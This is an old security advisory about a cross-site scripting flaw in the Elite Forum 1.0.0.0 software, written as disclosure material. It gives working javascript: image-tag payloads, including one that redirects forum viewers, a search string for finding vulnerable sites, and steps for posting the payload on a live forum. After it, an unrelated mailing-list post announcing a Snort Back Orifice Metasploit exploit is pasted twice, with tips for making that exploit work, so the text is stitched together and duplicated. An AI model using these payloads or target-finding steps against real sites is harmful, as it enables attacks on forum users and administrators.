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      HYSA-2005-009 h4cky0u.org Advisory 009
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Date - Tue Nov 1 2005


TITLE:
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Elite Forum 1.0.0.0 XSS Vulnerability


SEVERITY:
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Medium


SOFTWARE:
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Elite Forum 1.0.0.0


INFO:
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Elite Forum is a fierce competitor entering the world of forum systems. Unlike many other choices, Elite Forum does not

require the hassle of a MySQL database. Elite Forum is one of the best and is packed full of features, including the

following: No MySQL database required, Very easy installation, Support for both user registration and guests, Private

Messaging System, Forum can be locked so registration is required, User, forum and topic statistics, Fast and easy to use

search system, Ability to view who is currently browsing the forum, Sticky Topics (Announcements), Full member list,

Unlimited users, topics and posts, Member Profiles/Stats, Multiple page support (both topics and posts user definable),

Selectable time offset, Ability to auto check for updates/patches, Clean and streamlined design, Smiley Support, BB Code and

auto url support, Topic status icons, Member and Guest user levels, Members can edit or delete their posts, Secure accounts,

Add or remove admins via administrator panel, Admins can edit/delete any post or topic.

Support Website : www.all-interviews.com/firestorm/?act=eliteforum (Down at the time of Bug Discovery)


BUG DESCRIPTION:
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The system is vulnerable to Cross Site Scripting attacks. This issue is due to a failure of the application to properly

sanitize user-supplied input.


POC:
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First find a forum running the Elite Forum package. Then click on a topic and then Post Reply. In the message box add any of

the following codes. Here are some examples:

<img src="javascript:void(window.location=('imagelink'))"> - Replace the imagelink with the link to the image you want to

redirect the users viewing the topic containing this code.

<img src="javascript:a=100;while(a>=0){alert(a);a--}">

<img src="javascript:a=1;while(a>0){alert("sup?")">


VENDOR STATUS:
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The support site is down and no vendor contact could be found.


FIX:
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No fix available as of date.


GOOGLEDORK:
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"Powered by Elite Forum"


CREDITS:
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This vulnerability was discovered and researched by Gladiator.KHF (handle/username - gladiator) of h4cky0u Security Forums.


mail : gleden123 at Yahoo dot Com

web : http://www.h4cky0u.org


ORIGINAL ADVISORY:
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http://www.h4cky0u.org/advisories/HYSA-2005-009-elite-forum.txt

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Dear All

I wrote Snort Back Orifice Preprocessor Exploit for Win32 targets. It's for educational purpose only.
This exploit was tested on

- Snort 2.4.2 Binary + Windows XP Professional SP1
- Snort 2.4.2 Binary + Windows XP Professional SP2
- Snort 2.4.2 Binary + Windows Server 2003 SP1
- Snort 2.4.2 Binary + Windows Server 2000 SP0
- Snort 2.4.2 Bianry + Windows 2000 Professional SP0

Note 01: This exploit was written in form of MetaSploit module, so you need metasploit to launch it.
Note 02: The exploit's quite reliable, but if it doesn't work on your machine, try to find address of 'jmp esp' instruction and replace it to the old return address.

Regards,

Kira

Dear All

I wrote Snort Back Orifice Preprocessor Exploit for Win32 targets. It's for educational purpose only.
This exploit was tested on

- Snort 2.4.2 Binary + Windows XP Professional SP1
- Snort 2.4.2 Binary + Windows XP Professional SP2
- Snort 2.4.2 Binary + Windows Server 2003 SP1
- Snort 2.4.2 Binary + Windows Server 2000 SP0
- Snort 2.4.2 Bianry + Windows 2000 Professional SP0

Note 01: This exploit was written in form of MetaSploit module, so you need metasploit to launch it.
Note 02: The exploit's quite reliable, but if it doesn't work on your machine, try to find address of 'jmp esp' instruction and replace it to the old return address.

Regards,

Kira